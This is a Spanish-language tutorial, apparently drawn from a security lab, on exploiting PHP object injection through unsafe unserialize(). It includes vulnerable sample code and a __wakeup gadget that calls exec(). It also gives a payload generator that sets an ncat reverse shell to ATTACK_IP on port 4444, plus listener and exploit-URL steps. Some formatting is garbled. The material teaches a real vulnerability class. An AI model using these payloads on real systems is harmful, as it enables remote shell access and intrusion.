La inyección de objetos es una vulnerabilidad que surge de la deserialización de información insegura en las aplicaciones web. Ocurre cuando datos no confiables se deserializan en un objeto, permitiendo a los atacantes manipular la información serializada para ejecutar código arbitrario.
Para explotar una vulnerabilidad de inyección de objetos PHP, la aplicación debería incluir una clase con un método mágico de PHP. como __wakeup o __sleep que pueden ser explotados. Todas las clases involucradas en el ataque deberían ser declaradas antes de llamar al método serialize() ( a no ser que el object autoloading esté habilitado).
Ejemplo
Consideremos un trozo de código index.php que muestra la serialización y deserialización usando el serialize() y unserialize(). El código acepta el parámetro GET decode o encode y convierte el input del usuario en concordancia.
<?php class UserData { private $data; public function __construct($data) { $this->data = $data; } .. require 'test.php'; if(isset($_GET['encode'])) { $userData = new UserData($_GET['encode']); $serializedData = serialize($userData); $base64EncodedData = base64_encode($serializedData); echo "Normal Data: " . $_GET['encode'] . "<br>"; echo "Serialized Data: " . $serializedData . "<br>"; echo "Base64 Encoded Data: " . $base64EncodedData; } elseif(isset($_GET['decode'])) { $base64EncodedData = $_GET['decode']; $serializedData = base64_decode($base64EncodedData); $test = unserialize($serializedData); echo "Base64 Encoded Serialized Data: " . $base64EncodedData . "<br>"; echo "Serialized Data: " . $serializedData; ...
Por ejemplo, si mandamos el input hellothm vía la URL http://IP/case2/?encode=hellothm, obtendremos el siguiente output:

Vemos que el código incluye un archivo llamado test.php. Desde una revisión de código, considerando si el framework es opensource, el pentester sabe que test.php contiene una clase llamada MaliciousUserData como se muestra:
<?php class MaliciousUserData { public $command = 'ncat -nv ATTACK_IP 10.10.10.1 -e /bin/sh'; // call to troubleshooting server public function __wakeup() { exec($this->command); ... ?>
En el código de arriba, aunque hay deserialización insegura, es posible manipular las propiedades de un objeto, incluyendo alterar la propiedad command de la clase MaliciousUserData en el código de arriba. Esto puede conseguirse construyendo una string serializada específica que contenga los valores de propiedades deseados. Por ejemplo, si queremos modificar la propiedad command para ejecutar un comando diferente, podemos serializar un objeto con el valor de propiedad deseado e inyectarlo en la función vulnerable unserialize(). De esta forma al ser deserializado la propiedad modificada será cargada en el objeto.
Es importante entender que durante la deserializaión insegura no puedes actualizar directamente la definición del método __wakeup en sí mismo. Es parte de la definición de clase y se mantiene estático durante el proceso de deserialización. Sin embargo, puedes modificar el comportamiento o propiedades del objeto en el método __wakeup. Esto significa que mientras que la definición del método se mantiene constante, sus acciones al deserializarse pierden ser manipuladas.
Preparando el Payload
Como ya hemos visto, llamar a otra clase es una funcionalidad normal de PHP, y puedes ver el código de ese archivo si la página está usando código abierto. El código en index.php deserializa el input sin realizar ninguna sanitización. ¿Qué pasa si cambiamos la clase MaliciousUserData y modificamos el atributo command para que cuando se llame a la función __wakeup sea llamada con el valor del atacante?
Vamos a crear código PHP que genere información serializada maliciosa.
<?php class MaliciousUserData { public $command = 'ncat -nv ATTACK_IP 4444 -e /bin/sh'; } $maliciousUserData = new MaliciousUserData(); $serializedData = serialize($maliciousUserData); $base64EncodedData = base64_encode($serializedData); echo "Base64 Encoded Serialized Data: " . $base64EncodedData; ?>
- En el código de arriba, la función
_wakeup()de la claseMaliciousUserData(test.php) ejecutara una reverse shell usandoncatpara conectarse a laATTACK_IPpor el puerto4444con la flag-epara ejecutar/bin/shcomo una shell. - Una vez creado el archivo, ejecútalo con
php index.php. Esto devolverá un objeto serializado en base64 de la claseMaliciousUserData. - La string encodeada en base 64 generada se vera como:
TzoxNzoiTWFsaWNp[Redacted]. - Empezamos el listener usando
nc -nvlp 4444. - Ahora explotamos la deserialización insegura yendo a
http://10.64.169.42/case2/?decode=[SHELLCODE]. - Una vez que visitemos la URL, la string se deserializan y ejecuta la función
__wakeup().
